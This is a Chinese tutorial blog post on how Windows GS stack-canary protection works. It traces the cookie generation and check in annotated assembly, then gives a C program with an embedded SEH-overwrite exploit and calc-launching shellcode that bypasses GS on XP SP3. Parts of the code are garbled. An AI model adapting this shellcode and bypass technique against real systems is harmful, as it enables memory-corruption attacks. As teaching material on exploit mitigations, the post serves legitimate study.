逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试
GS简介:
Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。
GS原理:
下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。
C代码:
#include "stdafx.h" #include<stdio.h> #include<string.h> char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; void overflow(); int main() { overflow(); printf("fuction returned"); ; } void overflow() { ]; memcpy(output, name,sizeof(name)); ;i<&&output[i];i++) printf("\\0x%x",output[i]); }
编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。
用Olldbg打开,如下图:
系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。
大体流程就是:
- 程序启动时,读取.data节的第一个dword。
- 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
- 把加密后的种子再写入.data节的第一个dword。
- 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
- 函数主体正常执行。
- 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。
Asm代码:
① 计算随机种子。
push ebp 004016E5 |. 8BEC mov ebp, esp mov eax, dword ptr [__security_cookie] //取exe地址00403000处的第一个DWORD到eax。 F8 ], //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。 FC ], //同上。 push ebx //备份ebx,返回时恢复。 push edi //备份edi,返回时恢复。 004016F9 |. BF 4EE640BB mov edi, BB40E64E //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。 004016FE |. 3BC7 cmp eax, edi //判断eax和edi是否相等。 |. BB 0000FFFF mov ebx, FFFF0000 //ebx赋值为FFFF0000。 |. //如果eax和edi相等则跳转。 |. 85C3 test ebx, eax |. 0040170B |. F7D0 not eax mov dword ptr [__security_cookie_complement], eax |. EB |> push esi //备份esi,返回时用来恢复。 |. 8D45 F8 ] //取得filetime结构体地址。 |. push eax ; //pFileTime入栈。 |. FF15 call dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>] ; //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。 ] //取得系统时间的高4字节。 |. F8 ] //系统时间高4字节与低4字节进行异或,结果存入esi。 |. FF15 call dword ptr [<&KERNEL32.GetCurrentProcessId>] //调用GetCurrentProcessId取得当前进行ID,存入eax。 0040172B |. 33F0 xor esi, eax //进程ID和前面的esi进行异或,结果存入esi。 call dword ptr [<&KERNEL32.GetCurrentThreadId>] ; //获取当前线程ID,存入eax。 |. 33F0 xor esi, eax //线程ID和前面的esi进行异或,结果存入esi。 |. FF15 call dword ptr [<&KERNEL32.GetTickCount>] //获取系统启动至今的微秒数,存入eax。 0040173B |. 33F0 xor esi, eax //系统启动至今微秒数和前面的esi进行异或,结果存入esi。 ] //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。 |. push eax // lpPerformanceCount参数入栈。 |. FF15 0C204000 call dword ptr [<&KERNEL32.QueryPerformanceCounter>] //调用性能计数器,其实还是个高精度时间戳。 |. 8B45 F4 mov eax, dword ptr [ebp-C] //把时间戳高4位赋给eax。 F0 ] //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。 0040174D |. 33F0 xor esi, eax //时间戳异或结果和esi进行异或计算,结果存入esi。 0040174F |. 3BF7 cmp esi, edi //比较esi和edi是否相同,防止出现碰撞。 |. jnz short 0040175A //不相等的话,跳转。 |. BE 4FE640BB mov esi, BB40E64F //相等的话, |. EB 0040175A |> 85F3 test ebx, esi //比较esi和ebx是否相同。 //不相同的话,加密结束,写入。 0040175E |. 8BC6 mov eax, esi |. C1E0 |. 0BF0 or esi, eax |> mov dword ptr [__security_cookie], esi //把加密后的canary放入.data区首的4个字节。 0040176B |. F7D6 not esi //密文取反。 mov dword ptr [__security_cookie_complement], esi //密文取反写入.data取的第5到第8个字节,紧挨着canary。 |. 5E pop esi //恢复环境。 |> 5F pop edi //恢复环境。 |. 5B pop ebx //恢复环境。 |. C9 leave //恢复环境。与Mov esp,ebp+pop ebp等效。 \. C3 retn //函数返回。
② Canary写入栈帧:
>/$ 83EC 0C sub esp, 0C //函数开头,开辟栈空间。 |. A1 mov eax, dword ptr [__security_cookie] //把加密后的种子赋给eax。 |. 33C4 xor eax, esp //eax和当前esp进行异或计算。 ], eax //把异或后得到的canary写入栈帧。
③ GS校验:
] //把canary赋给ecx。 |. 33CC xor ecx, esp //ecx和esp异或。 cmp ecx, dword ptr [__security_cookie] //比较ecx和.data区的加密种子是否相同。 . //不相同则校验失败,跳转失败处理分支。 . F3: prefix rep: //相同则返回原函数。 . C3 retn //相同则返回原函数。 > E9 AD020000 jmp __report_gsfailure //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。
GS绕过:
了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。
其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。
下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。
C代码:
// GSBYPASS.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #include<stdio.h> #include<string.h> char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; void overflow(); int main() { overflow(); printf("fuction returned"); ; } void overflow() { ]; memcpy(output, name,sizeof(name)); ;i<&&output[i];i++) printf("\\0x%x",output[i]); }
编译,运行,成功绕过:
逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的更多相关文章
- gcc栈溢出保护机制:stack-protector
关键词:stack-protector.stack-protector-strong.stack-protector-all等等. 1. gcc栈保护机制stack-protector简介 gcc提供 ...
- SonarQube学习(四)- 使用Jenkins集成JaCoCo和SonarQube检查代码测试覆盖率
一.前言 我始终觉得学习这件事是自己的事,自己会了就是会了,无关于他人,但有点小伤感的是现在的阅读量开始走低. 二.准备 安装Jenkins,请移步<Docker学习(二)- Docker 安装 ...
- Python爬虫学习:四、headers和data的获取
之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...
- java之jvm学习笔记四(安全管理器)
java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...
- Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置
Java Web学习(四)Eclipse与Maven整合配置 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6.3) 二. ...
- Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置 (重整版并解决问题)
Java Web学习(四)Eclipse与Maven整合配置 (重整版) 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6 ...
- 【数据库】3.0 MySQL入门学习(三)——Windows系统环境下MySQL安装
1.0 我的操作系统是window10 专业版 64位.,不过至少windows7以上系统都是一样的. 关于MySQL如何下载,请参考博文: [数据库]2.0 如何获得MySQL以及MySQL安装 h ...
- SODBASE CEP学习(四)续:类SQL语言EPL与Storm或jStorm集成-使用分布式缓存
流式计算在一些情况下会用到分布式缓存,从而实现(1)想把统计或计算结果保存在分布缓存中.供其他模块或其他系统调用. (2)某一滑动时间窗体上计数.比如实时统计1小时每一个Cookie的訪问量.实时统计 ...
- kvm虚拟化学习笔记(四)之kvm虚拟机日常管理与配置
KVM虚拟化学习笔记系列文章列表----------------------------------------kvm虚拟化学习笔记(一)之kvm虚拟化环境安装http://koumm.blog.51 ...
随机推荐
- 转载一篇React native的props的用法
注:默认值如何设置 http://www.tuicool.com/articles/uMfYv2q
- although 和 although 的区别
作为连词的时候,although 和 though 是可以互换的.Although 一般被认为更加正式一些.比如,以下的这些句子: Growth in Europe is maintaining mo ...
- AngularJS 系列 01 - HelloWorld和数据绑定
目录导读: AngularJS 系列 学习笔记 目录篇 前言: 好记性不如烂键盘,随笔就是随手笔记,希望以后有用. 本篇目录: 1. Hello World 2. AngularJS中的数据绑定 3. ...
- Hibernate 系列 07 - Hibernate中Java对象的三种状态
引导目录: Hibernate 系列教程 目录 1. Java对象的三种状态 当应用通过调用Hibernate API与框架发生交互时,需要从持久化的角度关注应用对象的生命周期. 持久化声明周期是Hi ...
- VS2015 出现 .NETSystem.Runtime.Remoting.RemotingException: TCP 错误
错误内容: 界面显示内容为: .NET�������������System.Runtime.Remoting.RemotingException: TCP 淇¢亾鍗忚鍐茬獊: 搴斾负鎶ュご銆� 鍦 ...
- MySQL 主从复制
1 复制概述 Mysql内建的复制功能是构建大型,高性能应用程序的基础.将Mysql的数据分布到多个系统上去,这种分布的机制,是通过将Mysql的某一台主机的数据复制到其它主机(slaves)上,并重 ...
- mysql数据库主从及主主复制配置演示
实验系统:CentOS 6.6_x86_64 实验前提:提前准备好编译环境,防火墙和selinux都关闭 实验说明:本实验共有2台主机,IP分配如拓扑 实验软件:mariadb-10.0.20 实验拓 ...
- iOS CoreAnimation详解(一) 有关Layer的动画
以前由于项目需要 也写了一些动画 ,但是知识不系统,很散.这段时间趁着项目完成的空袭,来跟着大神的脚步系统的总结一下iOS中Core Animation的知识点. 原博客地址:http://blog. ...
- 超简单——自己搭建ftp服务器
自己搭建ftp服务器 之所以没选择serv-u,一是因为收费,虽说网上有破解版,但是使用过程中发现破解版很不稳定,经常异常死掉,随后改选用免费的filezilla. 1软件获取 从百度搜索 FileZ ...
- [LeetCode] Candy 分糖果问题
There are N children standing in a line. Each child is assigned a rating value. You are giving candi ...